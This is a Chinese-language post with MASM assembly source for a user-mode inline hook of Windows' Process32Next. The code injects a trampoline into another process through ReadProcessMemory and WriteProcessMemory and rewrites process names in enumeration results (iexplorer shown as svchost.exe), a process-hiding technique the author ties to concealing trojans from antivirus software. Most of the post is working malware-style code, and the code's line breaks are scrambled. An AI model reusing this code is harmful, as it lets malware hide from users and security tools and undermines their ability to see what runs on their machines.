应用层InLine Hook

我的思路: 1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移 2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址 3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐) 4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令. 5.把真正的API开头的指令改为JMP到我们的假函数中. ;目前遇到的问题: 1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量 2.如何防止重复HOOK. 3.假函数写在目标DLL的哪儿比较适合. 看了网上不少公开的文章后写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导致象我这样的HOOK并不是全局的,要实现全局的要不是举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上面第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了. comment % #--------------------------------------# # # UserLand InLine Hook --> # # # -->Hook Process32Next(only a Demo) # # # 2007.03.10 # # codz: czy # # #------------------------------------------# # system :test on XPSP2cn % .586 .model flat,stdcall
option casemap
:none include ../include/windows.inc include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/shell32.inc includelib ../lib/shell32.lib .data kernel32 db 'kernel32.dll',0 P32First db 'Process32Next',0 inline db 'Hook Process32Next Hide Process:)',0 sztext db '.text ',0 VirtualAddress dd 0 JMPCODE db 0E9h,010h,10H,10H,10H,0 JMPCODE2 db 0E9h,010h,10H,10H,10H,0 HookFunBuf db 256 dup (?)

.
code _ProcessPeFile proc _lpPeHead local @szBuffer[1024]:byte,@szSectionName[16]:byte mov esi,_lpPeHead assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew mov edi,esi assume edi:ptr IMAGE_NT_HEADERS ;******************************************************************** ; 循环显示每个节区的信息 ;******************************************************************** movzx ecx,[edi].FileHeader.NumberOfSections add edi,sizeof IMAGE_NT_HEADERS assume edi:ptr IMAGE_SECTION_HEADER .repeat
push
ecx ;******************************************************************** ; 节区名称 ;******************************************************************** invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName push esi push edi mov ecx,8 mov esi,edi lea edi,@szSectionName cld @@: lodsb .if ! al mov al,' ' .endif
stosb
loop
@B pop edi pop esi ;******************************************************************** invoke lstrcmpi,offset sztext,addr @szSectionName .if eax == 0 push [edi].VirtualAddress pop eax ret .else add edi,sizeof IMAGE_SECTION_HEADER .endif ;******************************************************************** pop ecx .untilcxz
assume
edi:nothing
ret
_ProcessPeFile endp ;得到相应进程的模块加载的起始地址 GetShell32Base proc uses ebx esi edi remoteproid LOCAL hSnapshot:dword LOCAL modinfo:MODULEENTRY32 LOCAL modname[256]:byte mov modinfo.dwSize,sizeof MODULEENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid mov hSnapshot,eax invoke Module32First,hSnapshot,addr modinfo .while eax lea ecx,modinfo.szModule invoke lstrcmpi,offset kernel32,ecx .if eax == 0 mov eax,modinfo.modBaseAddr ret .endif
invoke
Module32Next,hSnapshot,addr modinfo .endw
invoke
CloseHandle,hSnapshot ret GetShell32Base endp InlineHook proc
LOCAL
hProcess:dword LOCAL hKernel32:dword LOCAL hAPI:dword LOCAL PID:dword LOCAL ModBase:dword LOCAL OLDpro:dword LOCAL CodeBuf[128]:byte LOCAL optable[2048]:byte LOCAL codelen:dword LOCAL APIoffset:dword LOCAL hAPI2:dword LOCAL pHookFun:dword LOCAL hooklen1:dword LOCAL hookfunlen:dword lea eax,optable push eax call disasm_init ;解压缩'指令长度表'

invoke
LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
mov hKernel32,eax invoke _ProcessPeFile,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
mov VirtualAddress,eax ;一般为1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax mov eax,hKernel32 add eax,VirtualAddress ;得到代码节起始地址
mov ecx,hAPI sub ecx,eax ;函数入口相对于代码节的偏移
mov APIoffset,ecx invoke GetCurrentProcessId mov PID,eax mov eax,9504 mov PID,eax invoke GetShell32Base,eax mov ModBase,eax ;得到目标进程DLL的基地址
add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
mov hAPI2,eax invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID mov hProcess,eax invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0 lea esi,CodeBuf xor edi,edi @@nextcode:
push
esi lea eax,optable push eax call disasm_main .if eax !=-1 add edi,eax .if edi>=5 mov codelen,edi ;codelne记录应该COPY的代码字节数
jmp @@findok .else add esi,eax jmp @@nextcode .endif .else xor eax,eax ret .endif @@findok: ;写HOOK函数到目标进程DLL的空闲空间中 mov eax,ModBase add eax,VirtualAddress sub eax,512 mov pHookFun,eax invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro ;计算偏移 mov ecx,@@hookbeg mov eax,@@fakeret
sub
eax,ecx mov hooklen1,eax ;计算HOOK函数的全部代码长度 mov ecx,@@hookbeg mov eax,@@hookfunend sub eax,ecx mov hookfunlen,eax ;把HOOK函数从代码段移到变量中 mov eax,@@hookbeg invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分 invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0 ;移动被覆盖的原函数代码到目标内存中 mov ecx,pHookFun add ecx,hooklen1 sub ecx,21 invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0 ;跳回原函数 mov ecx,pHookFun add ecx,hooklen1 mov edx,ecx sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2 sub eax,edx add eax,codelen mov edx,offset JMPCODE2 inc edx mov [edx],eax invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0 ;移动真正的HOOK功能代码到目标内存中 mov ecx,pHookFun add ecx,hooklen1 mov eax,offset HookFunBuf add eax,hooklen1 mov edx,hookfunlen sub edx,hooklen1 invoke WriteProcessMemory,hProcess,ecx,eax,edx,0 ;设置跳转指令 mov eax,pHookFun sub eax,hAPI2 sub eax,5 mov ecx,offset JMPCODE inc ecx mov [ecx],eax invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0 invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro invoke CloseHandle,hProcess invoke MessageBox,0,offset inline,offset inline,1 ret
InlineHook endp @@hookbeg: push [esp+8] ;ARG2 有几个参数就ESP加几*4
push [esp+8] ;ARG1
jmp @@fakeret
@@setret: somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret: call @@setret ;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存 sub esp,8 pushad mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址 .if eax != ERROR_NO_MORE_FILES add edx,36 mov eax,[edx] mov ecx,[edx+4]
.
if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
mov eax,'hcvs' mov [edx],eax mov eax,'.tso' mov [edx+4],eax mov eax,' exe' mov [edx+8],eax .endif .endif
popad
add
esp,8 ;跳回正常的返回地址 ret 8 ;参数个数*4
@@hookfunend: start: invoke MessageBoxA,0,offset inline,offset inline,1 invoke InlineHook invoke ExitProcess,0 include \masm32\include\lde32bin.inc

end
start


目前我这个思路只用写一次被HOOK的函数就OK了.下面点评一下网上公开的一些方法: 1.有些方法写被HOOK的函数次数为(N*2)+1,N为调用次数,会遇到多线程的问题,不稳定. 2.有些方法也只用写一次,不过要保存和替换返回地址.替换好计算,但保存是个问题?保存在哪儿哩
栈头不稳定,代码段同样有多线程的问题. 3.还有些方法没用反汇编引擎计算被JMP替换的指令长度,也许会有指令没对齐的问题.